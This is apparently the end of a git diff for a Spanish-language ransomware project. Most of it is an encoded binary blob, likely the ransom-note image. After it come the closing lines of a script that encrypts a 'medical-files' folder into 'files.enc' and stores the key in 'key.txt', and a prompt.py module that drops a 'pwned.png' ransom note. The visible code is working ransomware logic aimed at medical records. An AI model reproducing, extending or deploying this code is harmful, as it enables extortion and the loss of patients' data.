zmh>=z_6Zk{=nPnukOOSM5Fk0UbA;P54)^L0ofaxCAMaUR*3P3X%WGXvf-amN;xr0K z4=^cB1A$fu1P8*qw>yN3@dxY*z)n^($Y6l;K0KB~!{mM`0s(}Co=6h_3@RIT18&>9 z*&g#)@(KofRQ`Pz<8dc0hK&SCC>AuJZ*A|VyDe{ z)pH?`8$#Bnh}2elja?JcS_`6C=Lrr=DzS`TlQk+ep9Qm!xTMV##O_m75%_3G zdrhl-pWa(g#e}mf_SQ2-E!^GB{#1<@xP!(|)g6&<&*Ur~TFppaGrvK%x(+M9a-QBB zXzbBO+FUy}kU45Fp7l*=Zf}6;!0Z{SV@Ro&EF9Gh~l+0K5I`hR=qr4$k5^RB{yiW}P7ljnF6B zA~eV{jvs8dm2PZxk+KED2_?QTv;!RSOIP9$Cl>3di7HzfHbm-J6@fL!MZNh!I~}7Z z&d=wAc$D2ZVB_k9557IqUz!hK9;oBV-*9D4YdYY=fSVe_d_RXi@~&f!fha_YRX3JZ z*-Cl@q+ir43!+2Z11ggbI5GcEF%hC{rBT6LfN^kBW8bJYsmHiNf8<|TrVuAC(|1fE z&sZ)~UsCuc)+MV)uCrs=s>!8C65@bO7%wUAw=X0pNqteluwE5OMcO8B(I4#=U)l-| zD6e7k>BI7d3I+8e#uPw&trtaA0H6o+B;2jMo1&kn*1Je~r*b!F%=u~kpmulwmB$EJHpGt;L?j&!)i+1uHZ!C$EWn0&PRx1S z)Ul1{O$ib`1XKbTmJ%njfWFZ@!V%CZP;>@6+M0D z+u3wcJfyUY5feyWwhdhl0Ie-C?m6ecjI2?)*Ny9JFF+U!StUYy1Bs0X5(QyGv73$O zD<&)UP>&#JzcnYbPjo+E59MEI`K_f4y?2Q(K;DvXLEiZvhA^O3x=KXn2N{De9Wl0f^J9!MwilbO7CBZ+ZA;1=a8&hH zSTN<9t4t*%(B?tbZrsz#Gqumd7RR4??ixYLx0&N zlgg~nhfRY}n?r z26dF30U@S8Z7~4Zw{!e%)S`{z#DOk7W_&QIeT;<$(!04x_g4RC(UrcSVwU0q{Sg3P z?F*b%_b%W&^Th?@QD}y}_q+6%AG@fB9}hQvk+#1DiCS}BD6NIv#db*pY6cS)SlemU zeMmvMPCWPO^iX=V1~m56Ts}qHSf*O)qv{_`4Gqy{06ID!8&GNYCmc(Z8>BDf3`GMi zNg5L3q|$C)Js(83S&IJnMe@l0N4oYDW>|vRX_~6~wbE^Hb&zeo0y*N6tL(RzLB+z_ zq^hxwEnVZOFF^t_bpu`&V zjPNgeGdjJFv?>CDbJ<-CK^SLDn-yGh$v@Q64GzQZzp&c89B&UHCljfDO0OzOO-7>p zBKDP$;6JLX@+xY!ji^|!HCHVbg%*47MD+l1kSpC0F~#h^wpyM9$B$$NY$^+f+PIa* zZQt2h&#jfp$}Edv4Rnf!h&(CT;$;jx_039U2wgLHejuz+uWiw=HG{{JfGMIrIf+XT zDY1DDjsQ;0B8T=j@b@rKYbobS2i7E7v_jm-krSe4$YqL5)LuK0XG;A5q=SJuTJQ=#-dYOhR#yQHny^rCw%b+B zje=O;NTx98Q_@D=K?{LBo;&0(UR7bxcQfuqK0x8p zL%utDDhJGH!(#Ck7@|&vG)l78n}eru^LaxbMK3o;rFt1J^_-d)bI#`SHBNN-R2FhV z5Z!LXpZZ%KsJ^GQKLC!O`Oq}ucL-B#mmYjNtDXt!)Ms@YB52xU5O`P9MBT<=u5zQd zXda&15G(itY2%*Vf(yF#3BB;VKgVyq-9Id!LK#X?R|+_Yca%Z;_=siYg)i zh-x?UV4gPZl{ZNqiqn(}sI>(|yI;6cRE~bEcN-*xIJ{8sM=3BL7Mj5&e#oU~_1Re! zsD9a1(Jb7c57Faot&qGDXaN*-!L|K>6OY`q)77@?R7!QB|DVa)g6lP%eZ_34SC6sV z)>3T8YJeH$Ch(Lh(07PN&(XsoAGngm*59O}&n;pVw!g%`SV&;~TZZd!UQ+-ki0b+LtGOAEZpFQ28fnAB8*tCKkS_YG%q+Teb0V$D(sh zwO-pM#y&-D^(1eqON$(ON>AsevH^2i0V*|U$n}fd!%VhU*r_~?e|0DOEo9fGi`^=9 zF>|b-wa=V+&m#^Bh^R$fso)92cswf%P(_rQ7>;qGLQ-psq?6)QJD5=S2RY_tAW@c9 zH{7la(WI6e{0>VL+U5Ukr}~iofDeRbY#X`JZYubiR5B-KTI^W6{E|K8r^?M9)O-yM z{|$xG?^0s51`%@u%+S@<=9sUE*xm>va3c2iF`A-6MQ@=thsoL5ss!yddZDqS zDgp0=1W~5Wi5f-irL(&+Q29->JF*~T9x%;FB$)B8{^MI*NuF;}vTJs?aTFCEUck}t zyMD0Zn5#_W>=wr}8k9ck(0Jgu!tmHDV< z4Jz-!jbx~ssm@zJc}cNZ<$GpADT!pW6x9lF;L8jJt(%~+<5(7#D665T(TH--i<7G# zwhC7L2l_)WYYVn+;JH*gY`z_A=0I|OM6^^eDLXHw*|^bOzrmp)DzZ+lZP}_@y&u&# zqWT=CW*!RWe(bOZgIe>^J&Ol)!F)L-FGa^UJ$ z_o$%U9B}?k#nrL@1_dCEiD9`W-`B5{!+ty)J|@iFR>%T5`Oa8rEI6(^RReag0IY62 z0j3+g{&-H*5p9h9wMZMgUj%daJLRZn_e>j$9SRs6EDHi(GVLE`NdqU95N)4MI_DkF z4hOEKzs<5g<^wP$xKoCu&~n#gI}o2)JXbpz*x1GR1NM9ZELX6<=r*!TAMLt!A+h#= z9(G&jshWk>h*wU&H(71~yLWRLEyC4?4#g)6*}Ko_Kdu(V)O5z3;~IY!U02G^gVRGb zYMU`79g9|4x>JV|&ox?p3Jj;jS1*s5wf`TtB~TVTl}nTY)KnXmZ+vIa0| zlZv|Ap$m5G+wKSWe|h}#Y8ERc_=3fkR-1cqNVO8r%3v6~5kHFFu9~+hPTv&LJJ#Y6 zfp0u)WQ<*5?`oD7diQJ*m_X)*;D+x8*NGx%mWVb}eg6fZl{AF@ZJ|67Uz`uyTR|l| zX#e1&?3{i5xq~A)R5yS=3M_f(yihnXHt|uZ0QM<3*ALEIF9X}M*(H2X>F;M~>k)Fv zlEc1gykEg)ciJLQ;H|$8A0 zQ3b7iRaev4b*_08blSEs&Dd2~8)N3N;iJEJY1lUX7+K$Wsh|EtY){yd-jA}q_YoNd zlp?WVm7Y~#JFZ$~i0&9%=L^D`vW{QlpNIfM7RSu%E0{ab+LDAsqcL2%~a$2&0bB{^q5^<1EYaDm$pP_gKNbIF+u% zr?$+4xNO~IUVF0w;#L|v2Y_|QrLYA;uzQgclMd5S2}aHkliHJ6>@AHv*;BxUjixY> zfUUPS;B-}U;--z9(rqWZ0^xIhreMGoIQLxjxoevGqH47)34&!??V*?*3%Wj+SeK(6 z4W^cgg6QXx;1gD?%cB0N=LjYg%~f)SkWgdXT;2uhsMJ zyCXK{$^Wzd&Oc?rFN-%n*L>i}jhDM#PBcAuvHJ&~|EFg1@Z(ghl?D&jFrG0jPBl)?NLW!Ix0QFecxjbvW!sN4rS+r?7Bdz%B7 z!Bw0HqO8YJq0w6^xB6C^f_H!k>`4c*`-dUxsMNnoKd9u^6;3xthAO&5sHbO-XuxUh zmLh8I>ej3hRWNU=Ux5*Wd)Yr+{Zb)VHlh45gK<^H;7?fvUTCv-W3(ZaadjpC1bFW! z02*=8RDV%l(G@h&Nw*a3fwQF#jU1pT_QBc_y6$W~_i^`7((woQukR__sqB-7vlTLZ z95TJhY6rEwcfu4LGg%d(5SU=afo+CNb0p1NEfPh0PalsS0FNv5Ms@>htE9&asndQ+ zwYEXj2hgt4+@N|IG+h|$smCeJm5aEk@&%ilIkzU5!>x==vmH6BMj33&z%oVq$LoR?=X_;OO?>eqJI0D^6^WYYuE74Z-yN#QZIFH;ZK`ay`!22rr#l}S{ji7Sqka^-*_U}Ed!MBuU^ zW!7I+@8iIJ2|yA{oTrV10$haa-`FG(7F)XcEHyp2PEXe~6J%p&OSih121paQdU;uI zzGzfN%MG%&!(ay(P5Xwy7meqlStpv;(1+6dq)i~VUcUgM?BTEZmQucGuZFx z+I)P@5q*pQpSm#PM#3>%xl)_*1Nj zDnnUieBU?2@TH>wzJd@IT#9DjzjdzFT+Vt8M|;Xc$ri2N+5z@gJ~m7}lx#NiXjZ=G z;hOj!cyJKE4$uuIH>;N4%E;3BGTLMHn&UV;FRpFo#Ttv5Bl-u>REC#I|F9=LYg5Uk zHpmYZ`Ca2$ejKQUg}mWBPC>Co8(hWKDS`JM-LFkaF4K$vE>v$bbWJfoODE^vIH$n7 zh(VXd-2ncjW^Rc@Xi!uC9*rFjh*a;dod@)6j27EtCksPg#TxUidR|L+-y#BT18$?& zuAsAyAo+t-&E2KCW>B1&poa+RMpUonb@Cx4!atUNwAdg72gD3G&mT~6B@s(417s}K z1RCAOfqlz>PeX&=4-Hyn(|_3=NbK17<0TuA#&f~xPn=CxsZBa_Oi7gAsXl8Fr@CJQ-$CkEl*GJ~aiJj8_*lHzrc4XP`FXlDTUNLwEd zr(IiK<6fi%6R8{ms8)_AwBd?^_-;ckH2@knyzd6ki=#*-lWhBQhRpd4h^*jX!BwT& zmWV@N5KhN`=e+!p4dG(L4AL@Uz~&{i)MP;9`#$&OGgML{W|r49qOt&_9N@=yV^}4E z3Suwq|DsI5LG6?H;kMYiuY5%?^WM*c3`XgD8^%$YTdAib+&{O)5Uf}8IY92wQkbq7 z1L`4pot~621`rCoI95{X%7?8=peU8i)Pkk6Ya5u@XfJL&0r09&!i%*QGq2kS1~z<% z-hqg1hSJ~C3=;_cZotPejfS*EUPq~JND#!ZO2;p1Y%Qt1s;oDo2`<6b0`a#iorV!f zpo1KSLzN|;!6&OKO;S+#f!DBI(O0o)v=k-%CjcXUH;(F4I4QG(GkI#xkKZ>}3u6G8QYbbcOKFtr#>zyjPh z@YmsH=Vbvr&>fdK)hl=;4?E{(?gEDVy`&IkiLZ*{3Jp75n-8sn7ZT zY-(TR+muwbXDArvkqS^xkFH=I3xaOS<5xiL)8lP1>|Rd{!Z1%{2G2lvK!OJ(AO!0H f2_QqC_~XAH+d5EkXaQI", len(encrypted_block))) + f_out.write(encrypted_block) + + print(f" [+] Archivo cifrado: {file}") + + print(f"\nCarpeta cifrada en '{output_file}'") + print("Key utilizada guardada en 'key.txt'.") + +if __name__ == "__main__": + encrypt_folder("medical-files", "files.enc") \ No newline at end of file diff --git a/src/prompt.py b/src/prompt.py new file mode 100644 index 0000000..da05ee4 --- /dev/null +++ b/src/prompt.py @@ -0,0 +1,20 @@ +import os +import shutil + +def copy_prompt_image(destination_path="."): + source = os.path.join("assets", "pwned.png") + + destination = os.path.join(destination_path, "prompt.png") + + try: + if os.path.exists(source): + shutil.copy2(source, destination) + print(f"[+] Nota Ransom copiada en {destination_path}") + else: + print(f"[-] Error: Imagen '{source}' no encontrada. Asegúrate de que exista la carpeta assets/.") + + except Exception as e: + print(f"[-] Error: {e}") + +if __name__ == "__main__": + copy_prompt_image() \ No newline at end of file